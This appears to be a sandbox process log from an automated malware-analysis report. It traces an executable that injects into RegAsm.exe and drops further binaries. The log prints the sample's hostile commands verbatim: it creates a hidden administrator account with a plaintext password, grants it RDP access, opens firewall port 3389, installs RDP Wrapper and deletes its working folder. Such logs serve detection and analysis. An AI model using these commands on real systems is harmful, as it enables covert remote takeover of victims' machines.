Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\net.exe net localgroup "Remote Desktop Users" RDPUser_7fdfafe0 /add
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Remote Desktop Users" RDPUser_7fdfafe0 /add
Source: C:\ProgramData\BKJKEBGDHD.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net localgroup
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\net.exe net localgroup
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\ProgramData\BKJKEBGDHD.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
Source: C:\ProgramData\BKJKEBGDHD.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net localgroup "Administrators" RDPUser_7fdfafe0 /add
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" RDPUser_7fdfafe0 /add
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Administrators" RDPUser_7fdfafe0 /add
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\BGDGHJEHJJ.exe "C:\ProgramData\BGDGHJEHJJ.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\GIJEGDAKEH.exe "C:\ProgramData\GIJEGDAKEH.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\BKJKEBGDHD.exe "C:\ProgramData\BKJKEBGDHD.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\ECBGHCGCBKFI" & exit Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\ProgramData\BKJKEBGDHD.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net user
Source: C:\ProgramData\BKJKEBGDHD.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\net.exe net user
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\net.exe net user RDPUser_7fdfafe0 wpaeOjzjqF4B /add
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user RDPUser_7fdfafe0 wpaeOjzjqF4B /add
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\net.exe net localgroup "Remote Desktop Users" RDPUser_7fdfafe0 /add
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Remote Desktop Users" RDPUser_7fdfafe0 /add
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\net.exe net localgroup
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" RDPUser_7fdfafe0 /add
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Administrators" RDPUser_7fdfafe0 /add
Source: C:\Users\user\Desktop\file.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mozglue.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msvcp140.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Section loaded: version.dll Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Section loaded: version.dll Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: mscoree.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: apphelp.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: kernel.appcore.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: version.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: cryptsp.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: rsaenh.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: cryptbase.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: wldp.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: amsi.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: userenv.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: profapi.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: msasn1.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: gpapi.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: windows.storage.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: rasapi32.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: rasman.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: rtutils.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: mswsock.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: winhttp.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: iphlpapi.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: dhcpcsvc6.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: dhcpcsvc.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: dnsapi.dll
Source: C:\ProgramData\BKJKEBGDHD.exe Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: dsrole.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\net1.exe Section loaded: samlib.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\timeout.exe Section loaded: version.dll
Source: C:\Windows\System32\netsh.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netshell.dll
